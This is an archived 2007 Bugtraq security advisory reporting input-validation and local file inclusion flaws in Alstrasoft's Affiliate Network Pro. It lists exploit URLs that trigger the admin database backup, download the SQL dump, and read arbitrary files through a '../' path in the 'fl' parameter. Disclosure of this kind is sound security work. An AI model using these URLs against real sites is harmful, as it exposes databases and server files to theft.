Affiliate Network Pro Multiple Input Validation and Local file inclusion

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Affiliate Network Pro Multiple Input Validation and Local file inclusion
From: hack2prison@xxxxxxxxx
Date: 29 Sep 2007 16:23:23 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

Discovered by hack2prison and navaro - VNBRAIN.NET member
Vendor: Alstrasoft
http://site/path/admin/backupstart.php
http://site/path/admin/admin/dump/backup-dd-mm-yyyy.sql
http://site/path/admin/downloadbackup.php?fl=backup-dd-mm-yyyy.sql
http://site/path/admin/downloadbackup.php?fl=backup-dd-mm-yyyy.sql
http://site/path/admin/downloadbackup.php?fl=../path/filename

Prev by Date: Public Media Manager <= 1.3 Remote File Inclusion Vulnerability
Next by Date: RE: feedreader3 has XSS vulnerability
Previous by thread: Public Media Manager <= 1.3 Remote File Inclusion Vulnerability
Next by thread: ASP Product catalog SQL injection vulnerability
Index(es):
- Date
- Thread